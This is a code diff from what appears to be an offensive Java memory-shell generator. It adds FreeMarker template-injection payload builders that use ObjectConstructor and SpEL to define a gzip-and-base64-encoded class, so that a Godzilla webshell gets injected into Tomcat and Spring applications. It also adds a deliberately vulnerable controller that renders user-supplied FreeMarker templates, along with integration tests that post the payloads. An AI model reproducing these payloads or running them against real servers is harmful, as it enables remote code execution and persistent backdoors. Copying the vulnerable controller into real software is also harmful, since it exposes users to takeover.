diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index ddc5998d..fb0c8005 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -381,7 +381,8 @@ public class ShellAssertion { } if (Packers.SpELSpringGzipJDK17.equals(packer) || Packers.OGNLSpringGzipJDK17.equals(packer) - || Packers.JXPathSpringGzipJDK17.equals(packer)) { + || Packers.JXPathSpringGzipJDK17.equals(packer) + || Packers.FreemarkerSpELSpringGzipJDK17.equals(packer)) { injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5)); } @@ -429,7 +430,7 @@ public class ShellAssertion { case Rhino -> VulTool.postIsOk(url + "/rhino", content); case BeanShell -> VulTool.postIsOk(url + "/bsh", content); case JinJava -> VulTool.postIsOk(url + "/jinjava", content); - case Freemarker -> VulTool.postIsOk(url + "/freemarker", content); + case Freemarker, FreemarkerScriptEngine, FreemarkerSpELSpringGzip, FreemarkerSpELSpringGzipJDK17 -> VulTool.postIsOk(url + "/freemarker", content); case Velocity -> VulTool.postIsOk(url + "/velocity", content); case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content); case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java index f58e1a84..14bda996 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java @@ -59,7 +59,8 @@ public class SpringBoot3ExpressionContainerTest { return Stream.of( arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17), arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17), - arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17) + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzipJDK17) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java index ab92f2c3..50fd2dde 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java @@ -61,6 +61,7 @@ public class Tomcat8ExpressionContainerTest { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzip), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity) ); } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 213ba6f1..24846dfd 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -13,6 +13,9 @@ import com.reajason.javaweb.packer.deserialize.hessian.HessianXSLTScriptEnginePa import com.reajason.javaweb.packer.deserialize.java.*; import com.reajason.javaweb.packer.el.ELPacker; import com.reajason.javaweb.packer.freemarker.FreemarkerPacker; +import com.reajason.javaweb.packer.freemarker.FreemarkerScriptEnginePacker; +import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipJDK17Packer; +import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipPacker; import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker; import com.reajason.javaweb.packer.groovy.GroovyPacker; import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker; @@ -142,6 +145,9 @@ public enum Packers { GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class), Freemarker(new FreemarkerPacker()), + FreemarkerScriptEngine(new FreemarkerScriptEnginePacker(), FreemarkerPacker.class), + FreemarkerSpELSpringGzip(new FreemarkerSpELSpringGzipPacker(), FreemarkerPacker.class), + FreemarkerSpELSpringGzipJDK17(new FreemarkerSpELSpringGzipJDK17Packer(), FreemarkerPacker.class), Velocity(new VelocityPacker()), JinJava(new JinJavaPacker()), XMLDecoder(new XMLDecoderPacker()), diff --git a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java index 69a71a1c..2284f614 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java @@ -1,19 +1,10 @@ package com.reajason.javaweb.packer.freemarker; -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; -import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.AggregatePacker; /** * @author ReaJason * @since 2024/12/13 */ -public class FreemarkerPacker implements Packer { - String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}"; - - @Override - public String pack(ClassPackerConfig config) { - String script = Packers.ScriptEngine.getInstance().pack(config); - return template.replace("{{script}}", script); - } +public class FreemarkerPacker implements AggregatePacker { } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerScriptEnginePacker.java new file mode 100644 index 00000000..aab9779e --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerScriptEnginePacker.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.packer.freemarker; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class FreemarkerScriptEnginePacker implements Packer { + String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}"; + + @Override + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); + return template.replace("{{script}}", script); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipJDK17Packer.java new file mode 100644 index 00000000..c1e64555 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipJDK17Packer.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.packer.freemarker; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid; + +/** + * JDK 17-compatible FreeMarker/SpEL class-definition payload. + * + * @author ReaJason + * @since 2026/8/30 + */ +public class FreemarkerSpELSpringGzipJDK17Packer implements Packer { + String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()\").getValue()}"; + + @Override + public String pack(ClassPackerConfig config) { + String className = config.getClassName(); + assertClassNameValid(className); + return template.replace("{{className}}", className) + .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPacker.java new file mode 100644 index 00000000..9088659f --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPacker.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.packer.freemarker; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +/** + * Uses FreeMarker's ObjectConstructor to create a SpEL parser and evaluate a + * compressed class-definition expression. + * + * @author ReaJason + * @since 2026/8/30 + */ +public class FreemarkerSpELSpringGzipPacker implements Packer { + String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()\").getValue()}"; + + @Override + public String pack(ClassPackerConfig config) { + return template.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + } +} diff --git a/packer/src/test/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPackerTest.java b/packer/src/test/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPackerTest.java new file mode 100644 index 00000000..1443a677 --- /dev/null +++ b/packer/src/test/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPackerTest.java @@ -0,0 +1,43 @@ +package com.reajason.javaweb.packer.freemarker; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import org.junit.jupiter.api.Test; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +class FreemarkerSpELSpringGzipPackerTest { + + private static ClassPackerConfig config(String className) { + ClassPackerConfig config = new ClassPackerConfig(); + byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8); + config.setClassName(className); + config.setClassBytes(classBytes); + config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes)); + return config; + } + + @Test + void pack() { + String payload = new FreemarkerSpELSpringGzipPacker().pack(config("com.example.Test")); + + assertTrue(payload.startsWith("${\"freemarker.template.utility.ObjectConstructor\"?new()")); + assertTrue(payload.contains("SpelExpressionParser")); + assertTrue(payload.contains("Base64Utils")); + assertTrue(payload.contains("GZIPInputStream")); + assertTrue(payload.contains("com.example.Test")); + } + + @Test + void packJdk17() { + FreemarkerSpELSpringGzipJDK17Packer packer = new FreemarkerSpELSpringGzipJDK17Packer(); + + assertDoesNotThrow(() -> packer.pack(config("org.springframework.expression.Test"))); + assertThrows(UnsupportedOperationException.class, + () -> packer.pack(config("com.example.Test"))); + } +} diff --git a/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ARaspKiller.java b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ARaspKiller.java new file mode 100644 index 00000000..e69de29b diff --git a/vul/vul-springboot3/build.gradle.kts b/vul/vul-springboot3/build.gradle.kts index cbeb2f8c..2f17bcc3 100644 --- a/vul/vul-springboot3/build.gradle.kts +++ b/vul/vul-springboot3/build.gradle.kts @@ -22,6 +22,7 @@ dependencies { implementation("ognl:ognl:2.7.3") implementation("commons-jxpath:commons-jxpath:1.3") implementation("commons-beanutils:commons-beanutils:1.9.3") + implementation("org.freemarker:freemarker:2.3.23") } tasks.test { diff --git a/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/FreemarkerController.java b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/FreemarkerController.java new file mode 100644 index 00000000..1fd38caf --- /dev/null +++ b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/FreemarkerController.java @@ -0,0 +1,35 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import freemarker.template.Configuration; +import freemarker.template.Template; +import freemarker.template.TemplateException; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import java.io.IOException; +import java.io.StringReader; +import java.io.StringWriter; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2026/8/30 + */ +@RestController +@RequestMapping("/freemarker") +public class FreemarkerController { + @PostMapping + public String freemarker(@RequestParam String data) throws IOException, TemplateException { + Configuration configuration = new Configuration(); + configuration.setDefaultEncoding("UTF-8"); + Map input = new HashMap<>(); + input.put("object", new Object()); + Template template = new Template("templateName", new StringReader(data), configuration); + StringWriter output = new StringWriter(); + template.process(input, output); + return output.toString(); + } +} diff --git a/web/.env b/web/.env index 1f867a91..56d7e9e7 100644 --- a/web/.env +++ b/web/.env @@ -1,2 +1,2 @@ -VITE_APP_API_URL=http://127.0.0.1:8080 +VITE_APP_API_URL=http://127.0.0.1:8889 VITE_APP_BASE_PATH=/ \ No newline at end of file diff --git a/web/app/utils/transformer.ts b/web/app/utils/transformer.ts index 0b537069..c62deb69 100644 --- a/web/app/utils/transformer.ts +++ b/web/app/utils/transformer.ts @@ -2,15 +2,6 @@ import type { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/memsh import type { ProbeConfig, ProbeContentConfig } from "@/types/probeshell"; import type { MemShellFormSchema, ProbeShellFormSchema } from "@/types/schema"; -const SPRING_GZIP_JDK17_RELATED_PACKERS = new Set([ - "SpEL", - "SpELSpringGzipJDK17", - "OGNL", - "OGNLSpringGzipJDK17", - "JXPath", - "JXPathSpringGzipJDK17", -]); - const UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; const CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; @@ -31,7 +22,7 @@ function generateSpringExpressionInjectorClassName() { } function isSpringGzipJdk17RelatedPacker(packer: string) { - return SPRING_GZIP_JDK17_RELATED_PACKERS.has(packer); + return packer.endsWith("SpringGzipJDK17"); } export function transformToPostData(formValue: MemShellFormSchema) {